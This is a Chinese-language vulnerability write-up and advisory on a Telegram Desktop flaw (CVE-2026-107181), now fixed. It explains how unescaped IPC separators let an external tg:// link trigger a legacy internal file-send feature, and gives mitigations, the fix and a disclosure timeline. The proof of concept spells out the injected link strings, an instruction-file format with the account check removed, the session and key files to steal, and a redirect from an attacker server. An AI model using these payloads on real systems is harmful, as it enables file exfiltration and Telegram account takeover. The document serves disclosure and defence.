想象这样一个场景:有人把你拉入了一个Telegram群聊。群里突然出现一个链接,你出于好奇点击了它。就在这一刻,你的Telegram账户已经不再完全属于你一个人了。
这究竟是如何发生的?
Telegram桌面版的设计存在一个致命缺陷:当用户点击链接时,程序会通过本地套接字将链接内容以文本形式传递给自己已在运行的另一个实例进程。问题的关键在于,传递过程中程序从未对作为命令分隔符的关键字符进行转义处理。这意味着,一个精心构造的恶意链接在接收端不会被解析为单个指令,而会被拆解成多个独立指令执行。

Telegram Desktop 的单实例通信机制曾存在一处危险的信任边界问题:一个来自外部的链接,在新进程转交给既有进程时,可能被解析成多条内部记录。再与一个能够发送本地文件的遗留内部功能结合,就可能造成文件外泄,进一步危及账户会话。
这一问题登记为 CVE-2026-107181。官方 CVE 记录将 Telegram Desktop 7.2.9 之前的版本列为受影响版本,7.2.9 为修复版本。原文报告了 Windows 环境下的验证情况;不同平台、下载设置与本地密码配置,会影响具体攻击条件和后果。
| 项目 | 信息 |
|---|---|
| 漏洞编号 | CVE-2026-107181 |
| 受影响产品 | Telegram Desktop,版本低于 7.2.9 |
| 核心问题 | IPC 记录分隔符未转义,外部输入可混入额外记录 |
| 潜在影响 | 本地文件外泄;会话凭证泄露时可能导致账户接管 |
| 修复版本 | 7.2.9 及后续版本 |
| CVSS 3.1 | 8.1,高危 |
| CVSS 4.0 | 8.6,高危 |
这里的“一次点击”有前提:需要特定的外部协议启动路径,以及后续敏感功能能够满足的条件。不能理解为任何 Telegram 聊天链接、任何运行状态下都会立即导致账户失窃。
现代操作系统允许应用程序注册特定的URI协议方案。当操作系统遇到这类链接时,就知道应该启动哪个程序来处理。Telegram桌面版注册了tg://这一协议。从此以后,系统就将所有tg://...开头的链接识别为Telegram专属,并以该链接URL作为命令行参数启动对应的应用程序。
场景一:Telegram未运行如果Telegram尚未启动,操作系统会创建一个新进程,将链接字符串作为参数传入。新进程内部将其解析为URL对象并处理——单个进程,无需任何进程间通信。
场景二:Telegram已在运行这时操作系统根本不知道也不检查程序是否已在运行:它仍然会启动一个与当前实例完全相同的全新进程。Telegram必须自己判断是不是"多余"的实例,而它判断的方法就是尝试连接本地套接字。
已在运行的实例充当服务器角色:从启动起就一直监听该套接字。新启动的进程则作为客户端。如果新进程能够成功连接套接字,说明已有实例存活,于是新进程会将接收到的链接转交给服务端进程,然后自行退出。这正是单实例应用程序的典型设计。
但这里埋下了一个隐患:套接字传输的是原始字节流,而非内存对象。新进程持有的URL对象无法直接跨越进程边界传输,必须序列化为一串文本。
序列化是将内存中的数据结构转换为字节流的过程;反序列化则是其逆过程。每当结构化数据需要跨越进程边界时,这两种操作都不可避免。但正是在这个转换的关键点上,数据内部的结构边界不再由程序员定义的逻辑结构决定,而是变成了文本中的普通字符——这就是危险的开始。
Telegram设计了一套极其简单的序列化格式:每条指令由"关键字+参数+分号"组成。例如,要打开一个链接会转换为:
OPEN:tg://x?a=1;示例中的tg://x?a=1在Telegram内部没有任何处理程序,因此这个链接自身不执行任何操作——它只是一个载体。
这行文本在如下代码中生成,每个需要打开的URL都会生成一条:
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}在接收端,服务端实例进行反序列化:读取接收到的字节,在每一个分号处进行切割,然后将每个片段作为独立指令处理。对于每个以OPEN:开头的片段,提取后续内容并重建为URL对象——就好像这个URL刚从命令行传入一样:
// sandbox.cpp:453-463 (简化版)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));未转义的分隔符:致命的设计缺陷
那么问题来了:如果传输的数据本身包含了格式所使用的分隔符——分号——会发生什么情况?
让我们修改之前的示例链接,在其中添加一些内容:
tg://x?a=1;CMD:quit对于新启动的客户端进程来说,这个链接是一个完整的URL,其中的分号只是查询参数中的普通字符。客户端将其序列化后写入套接字:
OPEN:tg://x?a=1;CMD:quit;但服务端进程的处理逻辑完全不同:它在每个分号处进行切割,结果得到了两个独立的指令:
OPEN:tg://x?a=1
CMD:quit这就是命令注入攻击,也是整个攻击链的第一个核心缺陷。
interpret:协议方案——危险的内部机制
上面的例子中,我们注入了CMD:指令,但不要被这个名字迷惑:它只接受show和quit两个参数,所以最坏的情况也仅仅是关闭应用程序而已。
实际上Telegram总共接受四种命令,其中三种相对无害。真正关键的是第四个命令:OPEN:。这里有个重要细节:它接受任何URL,而且不对协议方案进行过滤。
深入分析源代码后,我发现了Telegram内部还存在一个名为interpret:的私有URI方案。
操作系统当然不知道如何处理interpret:开头的链接,因为它根本没有作为协议处理器注册过。这个方案只存在于Telegram自己的代码逻辑中,程序会像对待其他URL一样从启动URL列表中提取并处理它:
// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;这意味着通过OPEN:指令,攻击者可以访问到这个内部机制:
tg://x?a=1;OPEN:interpret:instructions.txt那么interpret:协议究竟是用来做什么的?
原来这是Telegram官方用于发布自身新版本的工具。每当新版本构建完成后,构建脚本需要将发布包发送到官方频道,并在消息中附上更新日志。为了避免手动操作,Telegram开发团队编写了一个自动化脚本:生成一个包含发布指令的小型文本文件,然后通过命令行参数启动Telegram并传入该文件的路径。
# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
+ '/.../command.txt', shell=True)典型的指令文件格式如下:
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.其中from:一行会将当前登录账户ID与指定值对比,防止操作人员用错误的账号发布版本。但关键是:只有当这一行存在时才会进行验证,如果省略这一行就能完全绕过账户检查。channel:指定目标频道(必须是频道或超级群组),file:指定要发送的文件路径。
这一切功能都由InterpretSendPath函数实现。
那么真正的bug在哪里?interpret:协议执行的是特权操作:从磁盘读取任意文件并直接发送到聊天频道,整个过程既不需要用户确认,也不验证请求者的身份。
该函数根本没有进行任何授权检查:
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());从开发团队内部使用的角度来看(通过命令行调用),这似乎不是大问题:攻击者需要先在目标机器上获得立足点才能利用。但一旦这个功能可以通过套接字访问——也就是可以通过之前描述的注入漏洞触发——危险程度就完全不同了:一个高度敏感的功能现在可以通过受害者点击的任意链接来调用。
这就是授权机制的缺失,也是整个攻击链的第二个核心缺陷。
让指令文件落地:攻击者的布局策略
如果攻击者能够在受害者磁盘上放置一个指令文件,将file:指向想要窃取的文件路径,将channel:指向自己控制的群组,那么只需受害者点击一个链接,攻击者就能从目标机器外泄任意文件。
那么攻击者如何才能在他人的磁盘上以可预测的路径放置一个文本文件呢?最直接的方法就是将其作为聊天附件发送。
Telegram桌面版有一项默认设置:在群聊中接收的不超过8MB的文件会自动下载(广播频道中则是关闭的)。文件会被保存到标准下载文件夹,保持发送者设定的原始文件名。而且这个过程是可预测的(如果文件名冲突,Telegram会自动保存为类似instructions1 (2).txt的文件名)。请注意:像贴纸、GIF和语音消息等格式会进入内部缓存,无法直接通过文件路径访问。
Telegram自动生成的下载路径(参考file_utilities.cpp:172-181代码),在Windows系统上的格式为:
C:\Users\<用户名>\Downloads\Telegram Desktop\<文件名>通过将文件发送到群聊,攻击者就能精确知道文件会被保存在哪里。路径中看似有一个未知因素:Windows用户名。但interpret:协议也支持相对路径,而相对路径是相对于Telegram的工作目录(即其数据文件夹,参考logs.cpp:381代码)解析的。
在Windows上,Telegram数据文件夹路径为%APPDATA%\Telegram Desktop,位于用户主目录下三层。而Downloads文件夹直接位于用户主目录中。因此,攻击者可以使用如下相对路径:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt这样攻击者就获得了完全确定性的路径,根本不需要知道用户名。
从文件读取到账户完全接管
InterpretSendPath函数每次调用只发送一个文件:如果指令文件中包含多个file:行,只有最后一行生效。但有两个因素可以突破这个限制:
- 攻击者可以随意发布任意数量的指令文件
- 注入攻击不会在第一个命令后停止:每个分号都会开启一个新指令
因此,要窃取三个目标文件,只需要三个指令文件和单个链接中的三个堆叠命令:
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt整个过程中的核心技术原理保持不变:任意文件读取。真正变化的是读取的内容:可以是SSH私钥、浏览器密码库、云端凭据文件,或者包含API令牌的配置文件。
Telegram不会以明文存储本地数据,用户存储在磁盘上的所有内容都是加密的,包括会话授权信息。这个授权信息类似于网站的会话cookie,是客户端向Telegram服务器证明身份的关键凭证。拥有了它,就等于完全拥有了这个账户。
Telegram的密钥包装机制
Telegram采用密钥包装技术保护用户数据。涉及两个层次的密钥:
- DEK(数据加密密钥):长、随机、高熵值,用于直接加密用户数据
- KEK(密钥加密密钥):只用于加密DEK,不是用户密码;它通过密钥派生函数(KDF)从用户密码(加上存储在加密DEK旁边的盐值)派生而来
用伪代码描述数据解密过程如下:
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # 如果未设置本地密码则为空
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)关键点来了:Telegram桌面版默认不设置本地密码,用户需要主动在设置中启用。如果未设置,用于派生KEK的密码就是空字符串,而盐值以明文形式与加密的DEK一起存储在tdata/key_datas文件中。
因此,在没有设置本地密码的情况下,只要获取key_datas文件,就能重新计算出KEK并解锁DEK,从而解密所有其他数据,包括会话授权。
必须窃取的关键文件
完整的账户接管需要涉及三个关键文件,其中只有两个包含真正的秘密:
tdata/
├── key_datas # 盐值和加密的DEK(核心密钥材料)
├── D877F783D5D3EF8Cs # 使用DEK加密的MTProto授权(会话凭证)
└── D877F783D5D3EF8C/
└── maps # 账户存储数据的索引(不包含秘密,但为完整性需要)注意:文件夹名称D877F783D5D3EF8C不是随机的,也不是安装特定的。它由默认数据名称"data"派生而来(参考storage_file_utilities.cpp:241-250代码),在所有安装中都是相同的。
第三个文件(maps)只是一个索引,并不包含秘密信息。不过,没有它会话就无法加载:Telegram只在读取该索引时才读取授权信息。但攻击者也可以选择自己构建这个索引文件。在本文的概念验证中,为了简便,直接窃取所有三个文件。
最终结论是:持有这三个文件的攻击者就完全控制了该账户——将它们放入一个新的tdata文件夹,启动Telegram,受害者的会话就会顺利打开。
链接传递策略:巧妙的攻击入口
这个攻击需要受害者的一次点击,关键是点击必须来自Telegram外部。因为在Telegram聊天内部点击的tg://链接是在进程内处理的(参考click_handler_types.cpp:278代码),永远不会经过套接字传输,也就没有注入的机会。
而普通的https://链接会在系统默认浏览器中打开(参考ui_integration.cpp:437代码),因为Telegram桌面版没有内置浏览器。这就给了攻击者可乘之机:发送一个看似普通的HTTPS链接,然后用自己的服务器将其重定向到精心构造的tg://恶意链接:
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt根据浏览器设置以及受害者之前是否使用过Telegram处理程序,系统可能会在启动Telegram前请求用户确认,但很多情况下这个确认可能会被用户习惯性忽略。
完整攻击流程概念验证
- 创建攻击环境:攻击者创建一个Telegram超级群组,并将受害者拉入。Telegram的默认隐私设置允许此操作无需被邀请者确认。
- 部署指令文件:攻击者在群组中发布三个独立的指令文件(纯文本格式,使用LF行尾,无BOM标记),每个针对一个要窃取的文件。关键技巧:省略
from:行以完全绕过账户验证:channel: 2001234567 # 攻击者控制的群组ID另外两个文件分别指向
file: tdata/key_datas # 第一个目标:核心密钥文件
caption: poc # 可选的说明文字tdata/D877F783D5D3EF8Cs(会话授权)和tdata/D877F783D5D3EF8C/maps(数据索引)。当受害者打开群聊查看攻击者发送的链接时(步骤3),这些文件会自动下载到其本地磁盘。 - 发送诱饵链接:攻击者在同一群聊中发送一个看似无害的链接:
https://corvus.sec/rules # 看起来人畜无害的网站链接 - 受害者点击链接:浏览器访问该链接,攻击者的服务器返回重定向响应。重定向URL包含精心构造的恶意指令链(虽然为了方便阅读而换行显示,但实际发送时为单行):
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt - 漏洞触发:操作系统检测到
tg://协议,启动新的Telegram进程。新进程通过套接字将URL转发给正在运行的实例。未转义的分号导致指令分割,注入攻击成功执行。 - 文件窃取:三个
interpret:命令依次执行,三个目标文件被自动上传到攻击者控制的群组。整个过程完全没有显示任何确认对话框。 - 账户接管:攻击者从群组下载这三个文件,在自己的环境中重建
tdata文件夹结构,然后启动Telegram——受害者的账户就这样被完全接管了。
应急缓解措施
首要措施:立即升级到7.2.9或更高版本。这是唯一能从根本上解决问题的方案。以下建议仅能降低被攻击风险:
- 开启"每次保存文件时询问保存位置"选项:开启此设置后,自动下载功能将完全禁用,指令文件无法自动保存到磁盘。这是在升级之前最有效的缓解措施。
- 限制群组邀请权限:在隐私设置中,将"谁可以把你加入群组"限制为"仅联系人"。被窃取的文件只能发送到频道或超级群组,此设置能切断攻击者的文件接收渠道。
- 设置高强度本地密码:像设置真实密码一样认真选择一个复杂的本地密码。虽然不能防止文件被窃取,但能使被窃取的会话凭证完全无用。
官方修复方案
漏洞已在2026年9月16日的提交db3405699f中被彻底修复。版本更新日志将7.2.9的发布日期标注为同一天,实际版本于次日上午发布。这次修复采取了以下关键措施:
- 彻底移除危险功能:完全删除了
interpret://协议方案及相关的Support::InterpretSendPath函数 - 修复序列化漏洞:对单实例套接字的记录分隔符进行转义处理。现在值在写入前会使用百分号前缀的十六进制编码进行转义,分割后再进行解码。这样数据中的分号再也不可能被误解析为指令边界。
- 增强防御措施:
- 当同一连接携带
OPEN:指令时,自动跳过CMD:和CTRL:记录 - 一旦连接中出现非本地URL,自动丢弃后续的本地文件路径指令
- 当同一连接携带
单实例应用为什么需要进程间通信
Telegram Desktop 注册了自己的 URI 协议。操作系统遇到相应链接时,会启动应用并传入链接参数。
如果 Telegram 尚未运行,新进程直接处理参数;如果已经运行,操作系统仍可能创建一个新进程。新进程通过本地套接字发现已有实例,把启动参数转发给它,然后自行退出。已运行的实例负责展示窗口或处理链接。
这是一种常见的单实例应用设计。问题出现在参数跨进程传输时:内存中的 URL 对象必须序列化为文本,再由接收端还原。原先由对象结构约束的边界,变成了字符串里的分隔符。
旧实现采用“记录类型、参数、分隔符”的简单文本协议。如果参数本身包含同一个分隔符,而发送端没有转义,接收端逐段切分时,就可能把参数内容误认成新的记录。
其抽象过程可以表示为:
预期:一个外部 URL → 一条 IPC 记录 → 打开该 URL
缺陷:URL 内含未转义边界字符 → 接收端拆出额外记录因此,问题不在于套接字是否位于本机,而在于本机 IPC 接收的内容仍然可能源于远程不可信输入。“本地通道”并不自动等于“可信数据”。
第二道缺口:遗留内部功能暴露在外部路径上
仅有记录注入,还不足以解释为什么能外泄文件。另一环是 Telegram 当时保留的 interpret: 内部 URI 处理逻辑。
这一功能原本服务于官方版本发布自动化:读取一个本地指令文件,根据其中的配置,将文件及说明文字发送到指定聊天环境。开发者把它当作内部工具使用,因此其授权和确认设计没有按照“远程输入可能触达”的标准设置。
原文指出,这个处理逻辑能够执行读取本地文件并上传的敏感动作,部分账户校验还依赖可选配置字段。与 IPC 注入相连后,原本面向内部操作的能力进入了外部链接可影响的路径。
这暴露了两个独立问题:输入数据不应改变协议的记录结构;敏感内部操作也不应仅因为调用来源看似内部,就跳过必要的身份、权限和用户确认。
文件外泄为什么可能升级为账户接管
Telegram Desktop 会对本地账户数据进行加密。但“文件已加密”与“泄露后无法恢复会话”是两回事。
其本地保护涉及数据加密密钥与用于保护该密钥的派生密钥。用户设置的本地密码会影响密钥保护强度。如果没有设置本地密码,攻击者拿到足够的本地会话和密钥材料后,保护效果与设置了强密码的情况不同。
原文描述的风险是:文件外泄可能同时暴露解锁会话所需的数据,使攻击者具备复用现有授权的条件。这不等于破解了 Telegram 的消息传输加密,也不等于知道了用户的云端登录密码。
必须区分两类设置:本地密码锁保护设备上的客户端数据;两步验证密码加强新的账户登录流程。两者都有价值,但面对已经建立的会话凭证泄露,不能假设启用两步验证就会自动使被盗会话失效。
API Key、令牌和会话材料的共同点,是持有者往往能够直接调用权限。处理这类泄露时,应同步考虑撤销授权,可结合站内的 OpenCode API Key 泄露与密钥轮换分析理解“修改密码”和“撤销既有凭证”的区别。
触发条件与风险边界
原文讨论的路径涉及外部协议启动、单实例转发、本地文件可达性以及遗留文件发送功能,不能把其中任何一项单独等同于完整攻击成功。
自动下载设置会影响外来文件是否落地以及路径是否可预测;群组权限影响陌生人能否把内容送到用户面前;本地密码影响部分账户材料泄露后的利用难度;浏览器和系统的协议确认设置影响外部链接能否启动客户端。
还需要注意,Telegram 内部直接处理链接与经外部浏览器、操作系统重新启动协议处理器,不一定经过同一条代码路径。这也是为什么审计桌面应用时,要同时检查应用内跳转、外部协议、命令行参数与实例间转发。
官方修复改变了什么
Telegram 官方在 2026 年 9 月 16 日提交了 db3405699f:Remove legacy interpret path helper。提交内容可以核实三类措施。
移除遗留的敏感入口。 删除 interpret: 处理路径和相关文件发送辅助逻辑,缩小可由启动 URL 触达的功能面。
修复 IPC 编码边界。 发送端对分隔符、百分号及部分特殊字符进行明确转义,接收端在记录切分后再解码。参数中的字符因此不再能直接充当协议记录边界。
收紧混合记录处理。 同一连接出现打开 URL 的记录时,跳过部分其他控制记录;外部 URL 与本地文件路径混杂时,丢弃本地文件路径。这属于纵深防御,用于减少旧式启动路径和混合输入造成的额外风险。
这些变化分别对应攻击面收缩、正确序列化以及异常组合拦截。只给危险字符打补丁,而继续暴露缺少授权的敏感功能,通常不足以完成修复。
用户应如何处置
首先从 Telegram 官方渠道升级至 7.2.9 或更高版本,并确认实际运行的客户端已经完成更新。原文发布时间早于本站整理时间,部署时应以当前官方稳定版为准。
在完成更新前,可收紧自动下载、启用保存位置询问,并把陌生人加入群组的权限调整为符合个人需求的范围。这些措施可以降低部分攻击前提成立的机会,不能代替修复。
设置强度足够的本地密码,可以提高离线解密部分本地材料的难度,但不能阻止漏洞本身读取文件,也不应描述为使所有泄露材料“完全无用”。
如果怀疑已发生异常操作,应检查活动会话、异常文件发送和最近的群组变动,终止不认识的会话。设备上若还存有云服务密钥、SSH 私钥或应用令牌,也应按实际暴露范围安排撤销与轮换。更新客户端只能阻止后续利用,不能收回已经泄露的数据。
披露时间线
下表中的研究流程日期来自原始技术分析;修复提交和漏洞编号可分别由官方仓库及 CVE 记录核对。
| 日期 | 事件 |
|---|---|
| 2026-06-25 | 研究人员通过 ZDI 程序报告问题 |
| 2026-09-16 | Telegram 提交修复 db3405699f |
| 2026-09-17 | 原技术分析记载 Telegram Desktop 7.2.9 正式发布 |
| 2026-09-30 | 原技术分析记载 ZDI 将案件标记为供应商已修复 |
| 2026-10-03 | 原始技术分析完成 |
| 2026-10-07 | CVE-2026-107181 公开记录形成 |
给桌面应用开发者的启示
URI、命令行和 IPC 都可能是外部输入的延伸。序列化协议应有明确且可验证的边界,优先使用成熟的结构化编码;接收端仍需校验操作类型和参数,不能只信任发送端。
用于构建、调试和发布的内部功能,也应检查是否能由普通启动路径触达。高权限操作需要独立的授权与用户确认。已经没有业务需要的遗留入口,应及时删除。